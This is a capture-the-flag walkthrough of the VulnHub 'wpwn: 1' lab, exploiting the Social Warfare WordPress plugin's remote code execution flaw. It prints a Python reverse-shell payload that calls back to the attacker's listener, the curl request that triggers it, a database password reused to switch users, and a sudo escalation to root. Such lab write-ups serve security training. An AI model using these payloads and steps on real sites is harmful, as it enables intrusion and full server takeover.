VulnHub-wpwn-1
VulnHub > wpwn: 1
- Name: wpwn: 1
- Date release: 18 Aug 2020
- Author: 0xatom
- Series: wpwn
Description
This is an easy box.
It’s vmware based, i dont know if it works on VB you can test it if you want.
There are 2 flags under /home/$user/user.txt & /root/root.txt.
No stupid ctfy/guessy stuff.
Remember: your goal is to read the root flag, not just to take a root shell. Feel free to DM me on discord for any tip/hint.
Happy pwning! :D
User flag
Services enumeration
Nmap discovers 2 services:
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 59:b7:db:e0:ba:63:76:af:d0:20:03:11:e1:3c:0e:34 (RSA) | 256 2e:20:56:75:84:ca:35:ce:e3:6a:21:32:1f:e7:f5:9a (ECDSA) |_ 256 0d:02:83:8b:1a:1c:ec:0f:ae:74:cc:7b:da:12:89:9e (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Web enumeration
There is nothing interesting at the root of the website:
kali@kali:/data/wpwnvm$ curl http://wpwnvm.box/ wpwn box <br> remember: your goal is not just to get root shell, your goal is to read root.txt is part of the challenge. Have fun! :D
There is a robots.txt file but it’s a rabbit hole (the /secret location doesn’t exist):
kali@kali:/data/wpwnvm$ curl http://wpwnvm.box/robots.txt /secret # haha, just kidding. Focus on real stuff ma boi
Gobuster reveals a Wordpress installation:
kali@kali:~$ gobuster dir -u http://wpwnvm.box/ -w /usr/share/wordlists/dirb/common.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://wpwnvm.box/ [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/09/22 15:33:00 Starting gobuster =============================================================== /.hta (Status: 403) /.htpasswd (Status: 403) /.htaccess (Status: 403) /index.html (Status: 200) /robots.txt (Status: 200) /server-status (Status: 403) /wordpress (Status: 301) =============================================================== 2020/09/22 15:33:02 Finished ===============================================================
Wordpress
Static IP
Browsing the /wordpress directory reveals that the site expects to be called from a static IP (192.168.1.12). I forced the static IP for the VM’s mac address on my router.
wpscan
Wpscan reveals that the social-warfare plugin is vulnerable to Remote Code Execution:
kali@kali:/data/wpwnvm$ wpscan --url http://192.168.1.12/wordpress/ -e vp --api-token <apitoken>
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.7
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://192.168.1.12/wordpress/ [192.168.1.12]
[+] Started: Tue Sep 22 18:18:30 2020
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.1.12/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://192.168.1.12/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.1.12/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.1.12/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.5.1 identified (Latest, released on 2020-09-01).
| Found By: Rss Generator (Passive Detection)
| - http://192.168.1.12/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
| - http://192.168.1.12/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.5.1</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://192.168.1.12/wordpress/wp-content/themes/twentytwenty/
| Latest Version: 1.5 (up to date)
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://192.168.1.12/wordpress/wp-content/themes/twentytwenty/readme.txt
| Style URL: http://192.168.1.12/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.5 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.1.12/wordpress/wp-content/themes/twentytwenty/style.css?ver=1.5, Match: 'Version: 1.5'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] social-warfare
| Location: http://192.168.1.12/wordpress/wp-content/plugins/social-warfare/
| Last Updated: 2020-08-18T17:05:00.000Z
| [!] The version is out of date, the latest version is 4.1.0
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Comment (Passive Detection)
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Arbitrary Settings Update
| Fixed in: 3.5.3
| References:
| - https://wpvulndb.com/vulnerabilities/9238
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9978
| - https://wordpress.org/support/topic/malware-into-new-update/
| - https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/
| - https://threatpost.com/wordpress-plugin-removed-after-zero-day-discovered/143051/
| - https://twitter.com/warfareplugins/status/1108826025188909057
| - https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/
|
| [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)
| Fixed in: 3.5.3
| References:
| - https://wpvulndb.com/vulnerabilities/9259
| - https://www.webarxsecurity.com/social-warfare-vulnerability/
|
| Version: 3.5.2 (100% confidence)
| Found By: Comment (Passive Detection)
| - http://192.168.1.12/wordpress/, Match: 'Social Warfare v3.5.2'
| Confirmed By:
| Query Parameter (Passive Detection)
| - http://192.168.1.12/wordpress/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.2
| - http://192.168.1.12/wordpress/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.2
| Readme - Stable Tag (Aggressive Detection)
| - http://192.168.1.12/wordpress/wp-content/plugins/social-warfare/readme.txt
| Readme - ChangeLog Section (Aggressive Detection)
| - http://192.168.1.12/wordpress/wp-content/plugins/social-warfare/readme.txt
[+] WPVulnDB API OK
| Plan: free
| Requests Done (during the scan): 3
| Requests Remaining: 47
[+] Finished: Tue Sep 22 18:18:34 2020
[+] Requests Done: 7
[+] Cached Requests: 34
[+] Data Sent: 1.528 KB
[+] Data Received: 7.008 KB
[+] Memory used: 173.074 MB
[+] Elapsed time: 00:00:03
Here is a link (https://wpvulndb.com/vulnerabilities/9259) that details the vulnerability.
Reverse shell
Let’s exploit the vulnerability.
Start a listener:
kali@kali:/data/wpwnvm/files$ rlwrap nc -nlvp 4444 listening on [any] 4444 ...
Prepare a python reverse shell and host it with a python web server:
kali@kali:/data/wpwnvm/files$ cat payload.txt
<pre>system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.9",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'')</pre>
kali@kali:/data/wpwnvm/files$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.12 - - [22/Sep/2020 18:34:58] "GET /payload.txt?swp_debug=get_user_options HTTP/1.0" 200 -
Now call the following URL:
kali@kali:/data/wpwnvm/files$ curl "http://192.168.1.12/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.9:8000/payload.txt"
We now have a reverse shell:
kali@kali:/data/wpwnvm/files$ rlwrap nc -nlvp 4444 listening on [any] 4444 ... connect to [192.168.1.9] from (UNKNOWN) [192.168.1.12] 44542 bash: cannot set terminal process group (487): Inappropriate ioctl for device bash: no job control in this shell www-data@wpwn:/var/www/html/wordpress/wp-admin$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data)
User flag
The user flag is in /home/takis/user.txt:
www-data@wpwn:/var/www/html/wordpress$ ls -la /home ls -la /home total 12 drwxr-xr-x 3 root root 4096 Aug 17 18:50 . drwxr-xr-x 18 root root 4096 Aug 17 18:46 .. drwxr-xr-x 3 takis takis 4096 Aug 17 19:44 takis www-data@wpwn:/var/www/html/wordpress$ cd /home/takis cd /home/takis www-data@wpwn:/home/takis$ ls -la ls -la total 32 drwxr-xr-x 3 takis takis 4096 Aug 17 19:44 . drwxr-xr-x 3 root root 4096 Aug 17 18:50 .. -rw------- 1 takis takis 59 Aug 17 20:31 .bash_history -rw-r--r-- 1 takis takis 220 Aug 17 18:50 .bash_logout -rw-r--r-- 1 takis takis 3526 Aug 17 18:50 .bashrc drwxr-xr-x 3 takis takis 4096 Aug 17 19:44 .local -rw-r--r-- 1 takis takis 807 Aug 17 18:50 .profile -rw-r--r-- 1 root root 33 Aug 17 19:00 user.txt www-data@wpwn:/home/takis$ cat user.txt cat user.txt 04ebbbf5e6e298e8fab6deb92deb3a7f
Root flag
Lateral move (www-data -> takis)
Checking the Wordpress configuration file (/var/www/html/wordpress/wp-config.php) reveals the password to connect to the database. Below is the interesting extract:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );
/** MySQL database username */
define( 'DB_USER', 'wp_user' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3&]vzhHmMn9,:-5' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
It turns our that takis’ password is the same as the database password. Let’s switch to takis:
www-data@wpwn:/var/www/html/wordpress/wp-admin$ python3 -c "import pty;pty.spawn('/bin/bash')"
<min$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@wpwn:/var/www/html/wordpress/wp-admin$ su takis
su takis
Password: R3&]vzhHmMn9,:-5
takis@wpwn:/var/www/html/wordpress/wp-admin$ id
id
uid=1000(takis) gid=1000(takis) groups=1000(takis),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
At this stage, it may be a good idea to connect over SSH directly to free up the reverse shell.
Priv esc
Checking takis’ privileges reveals that he can elevate to root via sudo:
takis@wpwn:~$ sudo -l
Matching Defaults entries for takis on wpwn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User takis may run the following commands on wpwn:
(ALL) NOPASSWD: ALL
takis@wpwn:~$ sudo -s
root@wpwn:/home/takis# id
uid=0(root) gid=0(root) groups=0(root)
Root flag
The /root/root.txt file doesn’t contain the root flag but gives a hint:
root@wpwn:/home/takis# cd /root/ root@wpwn:~# ls -la total 32 drwx------ 3 root root 4096 Aug 17 20:30 . drwxr-xr-x 18 root root 4096 Aug 17 18:46 .. -rw------- 1 root root 1812 Aug 17 20:31 .bash_history -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc drwxr-xr-x 3 root root 4096 Aug 17 18:58 .local -rw------- 1 root root 215 Aug 17 19:22 .mysql_history -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rw-r--r-- 1 root root 87 Aug 17 19:01 root.txt root@wpwn:~# cat root.txt damn, i really don't know where i left the root.txt flag, take a look into my USB plz.
Searching for files and directories containing the USB string reveals a potential location that would contain the root flag:
root@wpwn:~# find / -name "*USB*" 2>/dev/null /dev/input/by-id/usb-VMware_VMware_Virtual_USB_Mouse-mouse /dev/input/by-id/usb-VMware_VMware_Virtual_USB_Mouse-event-mouse /usr/games/USB <------------- may be interesting! /run/udev/links/\x2finput\x2fby-id\x2fusb-VMware_VMware_Virtual_USB_Mouse-mouse /run/udev/links/\x2finput\x2fby-id\x2fusb-VMware_VMware_Virtual_USB_Mouse-event-mouse
Indeed, the root flag was in /usr/games/USB/root:
root@wpwn:~# cd /usr/games/USB/ root@wpwn:/usr/games/USB# ll total 12 drwxr-xr-x 2 root root 4096 Aug 17 20:24 . drwxr-xr-x 3 root root 4096 Aug 17 20:24 .. -rw-r----- 1 root root 46 Aug 17 20:24 root root@wpwn:/usr/games/USB# cat root 19905b045801f04e96d803659ad987ce -gamer over
Comments
Keywords: ctf vulnhub wpwn wordpress wpscan social-warfare WPVulnDB sudo